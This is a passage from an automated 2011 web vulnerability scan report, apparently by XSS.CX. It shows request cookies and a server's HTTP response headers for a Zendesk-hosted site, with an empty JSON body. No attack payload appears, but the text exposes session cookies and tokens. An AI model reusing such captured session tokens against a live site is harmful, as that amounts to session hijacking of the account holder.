Cookie: __utma=173730677.1355328083.1312374536.1313198305.1314018111.3; __utmb=173730677.3.10.1314018111; __utmc=173730677; __utmz=173730677.1314018111.3.3.utmcsr=lererventures.com|utmccn=(referral)|utmcmd=referral|utmcct=/companies; _g=BAh7CCIQX2NzcmZfdG9rZW4iMU5nWWdhT2pFemlRekFLQnFLTUVqSmdyUWlKOEFvbGdQMmtaaStBd1pUa2c9Ig9zZXNzaW9uX2lkIiVhMTM5NGUwODBiMWVlNTI4ZmMzODc1MTJmOWI3ZGYyMyIJZnVsbEY%3D--6c2588df5e7aa3bd5763629d7449874dc32c09f5; _zendesk_session=BAh7DDoMYWNjb3VudGkDjxwBOhBzb3VyY2VfcGFnZSILL2hvbWU%2FIg5pc19tb2JpbGVGOg9zZXNzaW9uX2lkIiU3NTFlMDVjOTU5OGRlYzI4NDljMzRiMjEzZGU0ZDdiZjoPdXBkYXRlZF9hdGwrBx1TUk4iE3dhcmRlbi5tZXNzYWdlewA6B2lkIhRucmJscXFlN3UyZmx4aHQ%3D--c4850a7d00a6165c003e4c603c34aa5f616749d1

Response

HTTP/1.1 200 OK
Server: nginx/0.8.53
Date: Mon, 22 Aug 2011 13:03:47 GMT
Content-Type: application/json; charset=utf-8
Connection: keep-alive
Status: 200 OK
ETag: "d751713988987e9331980363e24189ce"
P3P: CP="NOI DSP COR NID ADMa OPTa OUR NOR"
X-Runtime: 9
Content-Length: 2
Set-Cookie: _zendesk_session=BAh7DToMYWNjb3VudGkDjxwBOhBzb3VyY2VfcGFnZSILL2hvbWU%2FOhBfY3NyZl90b2tlbiIxdXREbnhYSG1Wd0FDQ21KNXFVcTgyckJzR1FyNkZ0ZTkyWFJ1OUpqa0hRaz0iDmlzX21vYmlsZUY6D3Nlc3Npb25faWQiJWE0N2Q2Y2I5MzMxNmEwNmYyODVhNTczYzBiZmZkOTgyIhN3YXJkZW4ubWVzc2FnZXsAOg91cGRhdGVkX2F0bCsHs1NSTjoHaWQiFWxma2xxYzQ4ci15bXU4b3A%3D--f63c441550e34b788bf9961cb000cd9f12899bce; path=/; HttpOnly
Cache-Control: max-age=300, private

[]

Report generated by XSS.CX at Mon Aug 22 07:17:42 GMT-06:00 2011.